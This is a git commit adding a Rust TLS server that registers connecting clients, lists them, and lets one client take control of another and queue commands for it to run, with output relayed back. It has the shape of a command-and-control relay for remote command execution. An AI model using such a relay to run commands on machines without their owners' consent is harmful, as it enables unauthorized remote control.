made the server and the client/server communication functionality work.
This commit is contained in:
+317
@@ -0,0 +1,317 @@
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use rcgen::generate_simple_self_signed;
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use std::error::Error;
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use std::fs::File;
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use std::fs::write;
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use std::io::BufReader;
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use std::net::SocketAddr;
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use std::path::PathBuf;
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use std::sync::{Arc, Mutex};
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use std::usize;
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use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
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use tokio::net::{TcpListener, TcpStream};
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use tokio_rustls::TlsAcceptor;
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use tokio_rustls::rustls::ServerConfig;
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use tokio_rustls::rustls::pki_types::{CertificateDer, PrivateKeyDer};
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#[derive(Clone)]
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enum ClientAction {
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Output(String),
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Cmd(String),
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Ping,
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}
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pub struct Client {
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address: String,
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id: usize,
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hostname: Option<String>,
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actions: Vec<ClientAction>,
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controlling: usize,
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controlled: usize,
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output_que: Vec<String>,
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}
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pub struct Server {
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pub address: String,
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pub clients: Vec<Client>,
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pub certificate_path: PathBuf,
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pub key_path: PathBuf,
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}
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pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
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let lock = server.lock().unwrap();
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if !lock.certificate_path.exists() || !lock.key_path.exists() {
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let (server_ip, _) = lock.address.split_once(':').unwrap();
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let cert = generate_simple_self_signed(vec![
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server_ip.to_string(),
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"127.0.0.1".to_string(),
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"localhost".to_string(),
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])?;
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write(&lock.certificate_path, cert.cert.pem())?;
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write(&lock.key_path, cert.signing_key.serialize_pem())?;
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}
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let certs = load_certs(&lock.certificate_path)?;
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let key = load_key(&lock.key_path)?;
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let tls_config = ServerConfig::builder()
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.with_no_client_auth()
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.with_single_cert(certs, key)?;
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let acceptor = TlsAcceptor::from(Arc::new(tls_config));
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let listener = TcpListener::bind(lock.address.clone()).await?;
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println!("Listening on {}", lock.address);
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drop(lock);
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loop {
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let (stream, addr) = listener.accept().await?;
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let acceptor = acceptor.clone();
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let server = server.clone();
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tokio::spawn(async move {
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let mut peek = [0u8; 8];
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if let Ok(n) = stream.peek(&mut peek).await {
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if n >= 8 && &peek[..8] == b"CERT_REQ" {
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handle_bootstrap(server, stream).await;
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return;
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}
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}
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match acceptor.accept(stream).await {
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Ok(tls_stream) => {
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handle_connection_stat9ic(server, tls_stream, addr).await;
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}
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Err(e) => {
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eprintln!("TLS handshake failed: {}", e);
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}
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}
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});
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}
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}
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fn load_certs(path: &std::path::Path) -> Result<Vec<CertificateDer<'static>>, Box<dyn Error>> {
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let mut reader = BufReader::new(File::open(path)?);
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Ok(rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?)
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}
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fn load_key(path: &std::path::Path) -> Result<PrivateKeyDer<'static>, Box<dyn Error>> {
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let mut reader = BufReader::new(File::open(path)?);
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let key = rustls_pemfile::private_key(&mut reader)?.ok_or("No private key found")?;
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Ok(key)
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}
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async fn handle_bootstrap(server: Arc<Mutex<Server>>, mut stream: TcpStream) {
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let mut buf = [0u8; 1024];
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let n = match stream.read(&mut buf).await {
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Ok(n) => n,
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Err(_) => return,
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};
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if n == 0 {
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return;
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}
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let msg = String::from_utf8_lossy(&buf[..n]);
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if msg.trim() != "CERT_REQ" {
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return;
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}
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let cert_path = {
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let lock = server.lock().unwrap();
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lock.certificate_path.clone()
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};
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let cert_pem = match std::fs::read_to_string(cert_path) {
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Ok(c) => c,
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Err(_) => return,
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};
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let response = format!("CERT|{}\n", cert_pem);
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let _ = stream.write_all(response.as_bytes()).await;
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}
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async fn handle_connection_stat9ic<S>(server: Arc<Mutex<Server>>, mut stream: S, addr: SocketAddr)
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where
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S: AsyncRead + AsyncWrite + Unpin,
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{
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let mut buf = vec![0u8; 4096];
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let n = match stream.read(&mut buf).await {
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Ok(n) => n,
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Err(e) => {
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eprintln!("Read Error: {e}");
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return;
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}
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};
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if n == 0 {
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return;
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}
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let msg = String::from_utf8_lossy(&buf[..n]);
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if msg.contains("HELLO") {
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let mut connected = false;
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let mut id = 0;
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if let Ok(mut lock) = server.lock() {
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let new_client = Client {
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address: addr.to_string(),
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id: lock.clients.len() + 1,
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hostname: None,
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actions: Vec::new(),
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controlled: 0,
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controlling: 0,
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output_que: Vec::new(),
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};
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connected = true;
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id = new_client.id.clone();
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lock.clients.push(new_client);
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}
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if connected {
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stream
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.write_all(format!("HELLO|{}\n", id).as_bytes())
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.await
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.unwrap();
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println!("client connected! ID:{}", id,);
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}
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} else {
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if let Some((source, data)) = msg.split_once("|||") {
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if let Ok(source_id) = source.trim().parse::<usize>() {
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let mut responses = Vec::new();
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if let Ok(mut lock) = server.lock() {
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if let Some(source_client) = lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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responses = source_client.actions.clone();
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}
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data.split("||").into_iter().for_each(|action| {
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if let Some((cmd, data)) = action.split_once("|") {
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match cmd.trim() {
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"OUTPUT" => {
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if let Some(dest_client) =
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lock.clients.iter_mut().find(|c| c.controlling == source_id)
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{
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dest_client.actions.push(ClientAction::Output(format!(
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"from {}: {}",
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dest_client.id,
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data.trim()
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)));
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} else {
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if let Some(source_client) =
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lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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source_client.output_que.push(data.trim().to_string());
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}
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}
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}
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"CMD" => {
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if let Some(dest_client) =
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lock.clients.iter_mut().find(|c| c.controlled == source_id)
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{
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dest_client
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.actions
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.push(ClientAction::Cmd(data.to_string()));
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responses.push(ClientAction::Output(format!(
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"tasked client {} to run {}",
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dest_client.id, cmd
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)));
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}
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}
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"CONTROL" => {
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let new_control_id = data.trim().parse::<usize>().unwrap();
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if let Some(controlling_client) =
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lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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controlling_client.controlling = new_control_id.clone();
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}
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if let Some(contlled_client) =
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lock.clients.iter_mut().find(|c| c.id == new_control_id)
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{
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contlled_client.controlled = source_id;
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} else {
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if let Some(controlling_client) =
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lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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controlling_client.controlling = 0;
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}
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}
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}
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"STOP_CONTROL" => {
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if let Some(source_client) =
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lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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if source_client.controlling != 0 {
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let dest_client_id = source_client.controlling.clone();
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if let Some(dest_client) = lock
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.clients
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.iter_mut()
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.find(|c| c.id == dest_client_id)
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{
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dest_client.controlled = 0;
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}
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}
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}
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}
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"BREAK_CONTROL" => {
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if let Some(source_client) =
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lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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if source_client.controlled != 0 {
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let dest_id = source_client.controlled.clone();
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source_client.controlled = 0;
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if let Some(dest_client) =
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lock.clients.iter_mut().find(|c| c.id == dest_id)
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{
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dest_client.controlling = 0;
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}
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}
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}
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}
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"LIST_CLIENTS" => {
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lock.clients.iter().for_each(|c| {
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let out = format!("{}: {}", c.id, c.address);
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println!("client list requested!");
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println!("adding {} to response...", out);
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responses.push(ClientAction::Output(out));
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});
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}
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"TEST" => {
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responses.push(ClientAction::Output("TEST BACK".to_string()));
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}
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_ => {}
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}
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}
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});
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}
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if responses.len() > 0 {
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let mut messages = Vec::new();
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for r in responses {
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match r {
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ClientAction::Cmd(cmd) => {
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messages.push(format!("CMD|{}", cmd));
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}
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ClientAction::Output(text) => {
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println!("adding {} to output", text);
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messages.push(format!("OUTPUT|{}", text));
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}
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ClientAction::Ping => {
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messages.push(format!("PONG"));
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}
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}
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}
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let full_message = messages.join("||");
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println!("attempting to send {}", full_message);
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let buf = full_message.as_bytes();
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stream.write(buf).await.unwrap();
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println!("buffer written!");
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if let Ok(mut lock) = server.lock() {
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if let Some(source_client) =
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lock.clients.iter_mut().find(|c| c.id == source_id)
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{
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source_client.actions.clear();
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}
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}
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}
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}
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}
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}
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}
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